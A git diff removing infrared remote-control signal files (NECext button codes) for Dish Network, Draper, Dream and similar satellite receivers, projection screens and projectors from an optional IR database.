b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir deleted file mode 100644 index 0118844bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir deleted file mode 100644 index 9d7b4628d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir deleted file mode 100644 index 352177de0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir deleted file mode 100644 index 387949e16..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir deleted file mode 100644 index db5030f20..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: stopcd -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 00 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 01 00 00 00 -# -name: tapepause -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 08 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0B 00 00 00 -# -name: cdtrkdown -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0C 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 10 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 18 00 00 00 -# -name: memocd -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1D 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 4A 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 50 00 00 00 -# -name: cdtrkup -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 52 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir deleted file mode 100644 index 85e5d5991..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir deleted file mode 100644 index 85e5d5991..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir deleted file mode 100644 index 85e5d5991..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir deleted file mode 100644 index 83a2a2067..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir deleted file mode 100644 index 7f0fc283a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: LARGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VOL+RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOL-LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: SMALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: LAME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir deleted file mode 100644 index ef0b625d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: BRITE_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: BRITE_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 03 00 00 00 -# -name: BRITE_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: BRITE_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 07 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0E 00 00 00 -# -name: SOURCE_SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 10 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 13 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 14 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 20 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 21 00 00 00 -# -name: PRESETS -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2C 00 00 00 -# -name: SOURCE1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2D 00 00 00 -# -name: DVI_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2D 00 00 00 -# -name: SOURCE2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2E 00 00 00 -# -name: SOURCE3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: COMPONENT_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 2F 00 00 00 -# -name: SOURCE4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: SVHS_4 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 30 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 31 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 32 00 00 00 -# -name: AUTO_IMAGE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 33 00 00 00 -# -name: RESIZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 34 00 00 00 -# -name: OVERSCAN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 35 00 00 00 -# -name: CONTRAST_UP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 36 00 00 00 -# -name: CONTRAST_DOWN -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 37 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 37 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 39 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3A 00 00 00 -# -name: NATIVE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3B 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3C 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3D 00 00 00 -# -name: LETTER_BOX -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir deleted file mode 100644 index a6f8d8fce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: (TV)_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: (TV)_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: (TV)_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: (TV)_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: (TV)_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: (TV)_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: (TV)_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: (TV)_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: (TV)_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: (TV)_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: (TV)_> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: (TV)_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: (TV)_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: (TV)_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: (TV)_VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: (TV)_VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: (TV)_BOUQUET_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: (TV)_BOUQUET_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: (TV)_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: (TV)_TV(SMALL_BLACK) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: (TV)_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: (TV)_< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: (TV)_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: (TV)_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: (TV)_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: (TV)_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: (TV)_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: (TV)_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: (TV)_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: (TV)_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: (TV)_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: (TV)_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: (TV)_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: (TV)_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: (TV)_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir deleted file mode 100644 index 2d940523a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 27 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir deleted file mode 100644 index 1a429f049..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir deleted file mode 100644 index d89f4d071..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: STANDBY_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir deleted file mode 100644 index 5f0561d86..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir +++ /dev/null @@ -1,788 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: DIGIT_0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: DIGIT_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: ABC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: DIGIT_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: 3DEF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: DEF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: DIGIT_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: 4GHI -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: DIGIT_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: GHI -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: 5JKL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: DIGIT_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: JKL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: 6MNO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: DIGIT_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: MNO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: 7PQRS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: DIGIT_7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: PQRS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: 8TUV -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: DIGIT_8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: TUV -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: 9WXYZ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: DIGIT_9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: WXYZ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: TV_[] -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: BOUQUET_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: BOUQUET_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: BOUQUET_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: BOUQUET_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: TV_POWER_(TOGGLING) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: DREAM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 20 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 23 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 23 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 24 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 24 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 25 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 25 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 25 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 26 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 27 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 28 00 00 00 -# 